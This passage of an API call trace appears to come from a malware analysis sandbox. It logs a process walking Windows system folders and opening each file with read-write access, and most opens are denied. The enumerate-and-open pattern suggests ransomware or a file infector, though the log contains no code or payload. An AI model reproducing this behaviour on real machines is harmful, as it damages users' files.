files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.357] GetLastError () returned 0x5 [0180.357] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83436f83, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83436f83, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8345d0e3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0180.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado27.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado27.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.357] GetLastError () returned 0x5 [0180.357] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83483244, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x83483244, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x83483244, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0180.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.358] GetLastError () returned 0x5 [0180.358] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ec495ee, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ec495ee, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ec6f74e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x72000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0180.358] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62a6a67, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x62a6a67, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x625a7ad, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0180.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.359] GetLastError () returned 0x5 [0180.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad50fa2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ad50fa2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ad50fa2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0180.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9debf8b5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9debf8b5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9dee5a15, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0180.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fd3080, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x5fd3080, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x5f60c69, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0180.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadox28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadox28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.359] GetLastError () returned 0x5 [0180.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1 [0180.359] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf55bba, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xbf55bba, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x347dbdb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0 [0180.359] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.360] GetProcessHeap () returned 0x990000 [0180.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.360] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0180.360] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0180.360] GetProcessHeap () returned 0x990000 [0180.360] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x66) returned 0x9b0940 [0180.360] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.360] GetProcessHeap () returned 0x990000 [0180.360] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.360] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1 [0180.361] GetProcessHeap () returned 0x990000 [0180.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x268) returned 0x9b1eb0 [0180.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\wab32res.dll.mui" (normalized: "c:\\program files\\common files\\system\\en-us\\wab32res.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.361] GetLastError () returned 0x5 [0180.361] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0 [0180.361] FindClose (in: hFindFile=0x9b64e8 | out: hFindFile=0x9b64e8) returned 1 [0180.361] GetProcessHeap () returned 0x990000 [0180.361] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1eb0 | out: hHeap=0x990000) returned 1 [0180.361] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0180.361] GetProcessHeap () returned 0x990000 [0180.361] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x66) returned 0x9b0940 [0180.361] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0180.364] GetProcessHeap () returned 0x990000 [0180.364] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0940 | out: hHeap=0x990000) returned 1 [0180.364] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0180.364] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34c44b4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34c44b4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa05a2bb2, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1 [0180.364] GetProcessHeap () returned 0x990000 [0180.364] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x268) returned 0x9b1eb0 [0180.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.365] GetLastError () returned 0x5 [0180.365] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa34ea611, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa34ea611, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa063b126, ftLastWriteTime.dwHighDateTime=0x1ca03fb, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1 [0180.365] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.365] GetLastError () returned 0x5 [0180.365] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-US", cAlternateFileName="")) returned 1 [0180.365] GetProcessHeap () returned 0x990000 [0180.365] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x72) returned 0x9a9d68 [0180.365] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*.*", lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9b6628 [0180.367] GetProcessHeap () returned 0x990000 [0180.367] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9a9d68 | out: hHeap=0x990000) returned 1 [0180.367] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0180.367] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9351968, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9351968, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1 [0180.367] GetProcessHeap () returned 0x990000 [0180.367] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x274) returned 0x9dc860 [0180.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcer.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcer.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.368] GetLastError () returned 0x5 [0180.368] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc32e361, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xc60371c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xc32e361, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcfr.dll.mui", cAlternateFileName="")) returned 1 [0180.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcfr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcfr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.368] GetLastError () returned 0x5 [0180.368] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a073ed, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x9e34029, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x9a073ed, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadcor.dll.mui", cAlternateFileName="")) returned 1 [0180.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msadcor.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msadcor.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.369] GetLastError () returned 0x5 [0180.369] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93053f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x93053f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaddsr.dll.mui", cAlternateFileName="")) returned 1 [0180.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msaddsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msaddsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.369] GetLastError () returned 0x5 [0180.369] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb313d55, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb313d55, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaprsr.dll.mui", cAlternateFileName="")) returned 1 [0180.369] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaprsr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaprsr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.370] GetLastError () returned 0x5 [0180.370] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 1 [0180.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\msdaremr.dll.mui" (normalized: "c:\\program files\\common files\\system\\msadc\\en-us\\msdaremr.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.370] GetLastError () returned 0x5 [0180.370] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92b8e84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x95b44f8, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x92b8e84, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaremr.dll.mui", cAlternateFileName="")) returned 0 [0180.370] FindClose (in: hFindFile=0x9b6628 | out: hFindFile=0x9b6628) returned 1 [0180.371] GetProcessHeap () returned 0x990000 [0180.371] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc860 | out: hHeap=0x990000) returned 1 [0180.371] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2cac9e93, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0x2cac9e93, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0x2cac9e93, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="handler.reg", cAlternateFileName="")) returned 1 [0180.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handler.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handler.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.372] GetLastError () returned 0x5 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x2d63e7d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="handsafe.reg", cAlternateFileName="")) returned 1 [0180.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\handsafe.reg" (normalized: "c:\\program files\\common files\\system\\msadc\\handsafe.reg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0180.372] GetLastError () returned 0x5 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b36a80d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b36a80d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b6180d2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb7000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0180.372] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: 